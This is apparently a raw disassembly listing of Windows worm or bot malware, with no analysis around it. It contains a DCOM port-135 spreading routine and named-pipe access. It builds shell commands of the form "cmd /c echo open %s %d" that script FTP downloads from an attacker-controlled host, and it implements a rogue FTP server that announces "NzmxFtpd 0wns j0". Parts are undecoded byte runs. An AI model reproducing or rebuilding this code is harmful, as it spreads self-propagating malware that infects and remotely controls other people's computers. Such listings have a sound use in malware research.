8Ch ; Œ db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 24h ; $ db 3Eh ; > db 1 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 28h ; ( db 86h ; † db 42h ; B db 0 db 56h ; V db 50h ; P db 0E8h ; è db 9Ch ; œ db 2Eh ; . db 1 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 93h ; “ db 29h ; ) db 1 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 0DCh ; Ü db 6Eh ; n db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 80h ; € db 0E0h ; à db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_4049C7 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_4049C7: ; CODE XREF: ___:004049C0j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 26707CBh cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_404A0B loc_404A04: ; CODE XREF: ___:00404AE3j ; ___:00404CB9j ... xor al, al jmp loc_404E4F ; --------------------------------------------------------------------------- loc_404A0B: ; CODE XREF: ___:00404A02j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_417330 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_428C34 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_417390 push 10h lea eax, [ebp-84h] push offset dword_428C20 push eax mov dword ptr [ebp-88h], 3 call sub_417390 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2660000h test eax, eax jnz short loc_404AE8 loc_404ADA: ; CODE XREF: ___:00404BB4j push dword ptr [ebp-4] nop call near ptr 2651922h jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404AE8: ; CODE XREF: ___:00404AD8j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 26510A0h push ebx call sub_4186B1 push eax call sub_417302 push 14h lea eax, [ebp-70h] push 41h push eax call sub_417330 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_417330 add esp, 20h call sub_41730C mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_428BC8[esi], bl jz short loc_404B5F push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_436F00 jmp short loc_404B72 ; --------------------------------------------------------------------------- loc_404B5F: ; CODE XREF: ___:00404B4Bj push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_428C17+1) loc_404B72: ; CODE XREF: ___:00404B5Dj lea eax, [ebp-20h] push eax call sub_417390 add esp, 0Ch call sub_41730C mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41730C cdq idiv edi mov eax, dword_428BBC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_417B89 mov edi, eax pop ecx cmp edi, ebx jz loc_404ADA mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417330 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417330 mov eax, dword_428BC4[esi] push 7 add eax, edi push offset dword_428BB0 push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_428A50 push eax call sub_417390 mov eax, dword_428BC0[esi] add esp, 30h cmp byte_428BC8[esi], bl mov [ebp+0Ch], eax jz short loc_404C6B push 4 add eax, edi push offset dword_436EF8 push eax call sub_417390 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_428BE0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_417390 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_417390 add esp, 30h jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C6B: ; CODE XREF: ___:00404C1Cj add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_428BE0 loc_404C7C: ; CODE XREF: ___:00404C91j push 4 push esi push dword ptr [ebp+0Ch] call sub_417390 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_404C7C loc_404C93: ; CODE XREF: ___:00404C69j mov eax, [ebp+8] add eax, 42h push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_404CBE push dword ptr [ebp-4] call near ptr 2651922h nop push edi call sub_417C3B pop ecx jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404CBE: ; CODE XREF: ___:00404CA7j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_417330 lea eax, [ebp-70h] push 14h push eax push esi call sub_417390 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_424294 fstp qword ptr [esp] call sub_417DEB call sub_417DC4 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_417390 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_404D2B loc_404D23: ; CODE XREF: ___:00404D26j inc eax test al, 3 jnz short loc_404D23 mov [ebp+0Ch], eax loc_404D2B: ; CODE XREF: ___:00404D21j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_417390 add dword ptr [ebp+0Ch], 1Ch push edi call sub_417C3B push 18h lea eax, [ebp-48h] push ebx push eax call sub_417330 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_417330 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 2670B22h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_404D98: ; CODE XREF: ___:00404E22j cmp dword ptr [ebp-0Ch], 2 jge loc_404E2D push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_404861 add esp, 2Ch test al, al jz short loc_404E2A cmp [ebp-4Ch], ebx jz short loc_404E1C lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26510A0h test eax, eax jnz short loc_404E03 nop call near ptr 2670ADCh cmp eax, 3E5h jnz loc_404A04 loc_404E03: ; CODE XREF: ___:00404DF0j push 3E8h push dword ptr [ebp-4Ch] call near ptr 2670A57h nop cmp eax, 102h jnz short loc_404E1C mov byte ptr [ebp+0Bh], 1 loc_404E1C: ; CODE XREF: ___:00404DCFj ; ___:00404E16j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_404D98 jmp short loc_404E2D ; --------------------------------------------------------------------------- loc_404E2A: ; CODE XREF: ___:00404DCAj mov esi, [ebp-8] loc_404E2D: ; CODE XREF: ___:00404D9Cj ; ___:00404E28j push dword ptr [ebp-4] mov edi, dword_424078 call edi push esi call sub_417C3B cmp [ebp-4Ch], ebx pop ecx jz short loc_404E49 push dword ptr [ebp-4Ch] call edi loc_404E49: ; CODE XREF: ___:00404E42j cmp [ebp+0Bh], bl setnz al loc_404E4F: ; CODE XREF: ___:00404A06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0C2h ;  db 24h ; $ db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 90h ; db 0E8h ; è db 77h ; w db 0C4h ; Ä db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 0B6h ; ¶ db 0C8h ; È db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 0E8h ; è db 84h ; „ db 0EDh ; í db 6Ah ; j db 71h ; q db 90h ; db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0AAh ; ª db 0EFh ; ï db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 4 db 42h ; B db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 78h ; x db 0F6h ; ö db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0Ch db 6Fh ; o db 43h ; C db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0FCh ; ü db 5Fh ; _ db 0 db 0 db 59h ; Y db 50h ; P db 68h ; h db 0DCh ; Ü db 89h ; ‰ db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 2Eh ; . db 29h ; ) db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 0A3h ; £ db 2Bh ; + db 1 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 0E8h ; è db 0D8h ; Ø db 0CBh ; Ë db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 33h ; 3 db 0CBh ; Ë db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; à dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h dd 90000007h, 22C007E8h, 0FB834302h, 33B87202h, 5B5E5FC0h dd 58016AC3h db 0EBh, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9A proc near ; CODE XREF: ___:00405119p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405068 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_405068 mov edi, 400h push esi mov esi, dword_424204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42F678 push eax push eax push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40506C loc_405068: ; CODE XREF: sub_404F9A+50j ; sub_404F9A+62j xor eax, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_40506C: ; CODE XREF: sub_404F9A+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_405083: ; CODE XREF: sub_404F9A+D0j pop edi pop esi pop ebx leave retn sub_404F9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43ADD8 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43AD98 push 6 push 1 push 2 mov [ebp-0Eh], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FA lea eax, [ebp-10h] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_4050DB push esi jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: ___:004050D6j push 0 push 1213h push offset dword_428C60 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FE loc_4050F4: ; CODE XREF: ___:004050D9j call near ptr 71AB1A6Dh nop loc_4050FA: ; CODE XREF: ___:004050C4j xor eax, eax jmp short loc_405140 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: ___:004050F2j nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9A add esp, 0C0h test eax, eax jz short loc_40513D mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_40513D: ; CODE XREF: ___:00405126j push 1 pop eax loc_405140: ; CODE XREF: ___:004050FCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405144 proc near ; CODE XREF: ___:00405340p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43ADD8 mov [ebp+var_C], eax mov ax, word_42A040 push eax call dword_43AD98 push edi push 1 push 2 mov [ebp+var_E], ax call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525B lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_40525B mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43ADB0 push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_40525B push 1F4h nop call near ptr 2630F90h push offset byte_42F678 push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_40525F loc_40525B: ; CODE XREF: sub_405144+51j ; sub_405144+67j ... xor al, al jmp short loc_405279 ; --------------------------------------------------------------------------- loc_40525F: ; CODE XREF: sub_405144+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43ADB0 push esi call dword_43AE30 mov al, 1 loc_405279: ; CODE XREF: sub_405144+119j pop edi pop esi pop ebx leave retn sub_405144 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax nop call near ptr 71AB2BBFh mov esi, eax test esi, esi jnz short loc_4052A8 lea eax, [ebp+0Ch] push eax call near ptr 71AB12F8h nop mov ebx, eax jmp short loc_4052AE ; --------------------------------------------------------------------------- loc_4052A8: ; CODE XREF: ___:00405298j mov ebx, [ebp+0C0h] loc_4052AE: ; CODE XREF: ___:004052A6j push 11h push 2 push 2 nop call near ptr 71AB3C22h test esi, esi mov edi, eax jz short loc_4052D8 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417390 add esp, 0Ch jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052D8: ; CODE XREF: ___:004052BEj mov [ebp-0Ch], ebx loc_4052DB: ; CODE XREF: ___:004052D6j test esi, esi jz short loc_4052E9 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052EF ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: ___:004052DDj mov word ptr [ebp-10h], 2 loc_4052EF: ; CODE XREF: ___:004052E7j push 599h nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call near ptr 71AB3E5Dh nop test eax, eax jnz loc_4053BE push eax push 1C9h push offset loc_429E74 push edi call near ptr 71AB1AF4h nop push 3E8h nop call near ptr 2630F90h sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405144 add esp, 0BCh test al, al jz short loc_405354 push 1 pop eax jmp short loc_4053D0 ; --------------------------------------------------------------------------- loc_405354: ; CODE XREF: ___:0040534Dj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_42A0B0 lea eax, [ebp-210h] push 200h push eax call sub_41782A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D679 lea eax, [ebp-210h] push eax call sub_40BF6D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] jmp short loc_4053CE ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: ___:0040530Dj push 1 push edi nop call near ptr 71AB8629h push edi call near ptr 71AB1A6Dh nop loc_4053CE: ; CODE XREF: ___:004053BCj xor eax, eax loc_4053D0: ; CODE XREF: ___:00405352j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D5 proc near ; DATA XREF: sub_407252+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi nop call near ptr 71AB41DAh push edi call sub_4186B1 push eax call sub_417302 push 0FEB0h push 406h call sub_415450 add esp, 10h mov dword_436F0C, eax push edi push ebx push 2 nop call near ptr 71AB3C22h mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi nop call near ptr 71AB3F8Dh lea eax, [ebp+var_18] push eax push 8004667Eh push esi nop call near ptr 71AB155Ah mov ax, word ptr dword_436F0C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi nop call near ptr 71AB1746h mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call near ptr 71AB3ECEh nop test eax, eax jge short loc_4054AA mov eax, ebx jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4054AA: ; CODE XREF: sub_4053D5+CCj push 0Ah push esi call near ptr 71AB5DE2h nop mov [ebp+var_228], ebx mov ebx, dword_424208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C8: ; CODE XREF: sub_4053D5+12Cj ; sub_4053D5+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call near ptr 71AB1890h nop cmp eax, 0FFFFFFFFh jz loc_4059D1 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C8 loc_405503: ; CODE XREF: sub_4053D5+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417330 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422A46 ; --------------------------------------------------------------------------- db 85h dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h, 83716B31h dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h dd 0FFFFFDDCh ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_4053D5+1ADj cmp [edx], eax jz short loc_405584 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405574 loc_405584: ; CODE XREF: sub_4053D5+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A2 cmp [ebp+var_228], 40h jnb short loc_4055A2 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A2: ; CODE XREF: sub_4053D5+1B5j ; sub_4053D5+1BEj cmp eax, [ebp+var_4] jle short loc_4055AA mov [ebp+var_4], eax loc_4055AA: ; CODE XREF: sub_4053D5+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BF ; --------------------------------------------------------------------------- dw 8D56h ; --------------------------------------------------------------------------- test [ebp+edi*8+var_4+3], esp jmp fword ptr [edx+64h] ; --------------------------------------------------------------------------- db 50h dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh dd 8D3A76D6h, 0FFFDDC85h db 0FFh ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_4053D5+216j cmp [eax], edi jz short loc_4055EF inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E1 jmp short loc_405615 ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_4053D5+20Ej dec edx cmp ecx, edx jnb short loc_40560F lea eax, [ebp+ecx*4+var_224] loc_4055FB: ; CODE XREF: sub_4053D5+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FB loc_40560F: ; CODE XREF: sub_4053D5+21Dj dec [ebp+var_228] loc_405615: ; CODE XREF: sub_4053D5+218j push edi nop call near ptr 71AB1A6Dh jmp loc_4059BF ; --------------------------------------------------------------------------- lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_418A52 lea eax, [ebp+var_AC] push offset aUser_1 ; "USER" push eax call sub_4176D0 add esp, 18h test eax, eax jnz short loc_405665 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4053D5+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405689 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405689: ; CODE XREF: sub_4053D5+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056AD push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_4053D5+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056D1 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056D1: ; CODE XREF: sub_4053D5+2EDj lea eax, [ebp+var_AC] push offset off_42A2D0 push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056F5 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4053D5+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_4053D5+335j ; sub_4053D5+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_40576B: ; CODE XREF: sub_4053D5+370j ; sub_4053D5+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057B9 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push 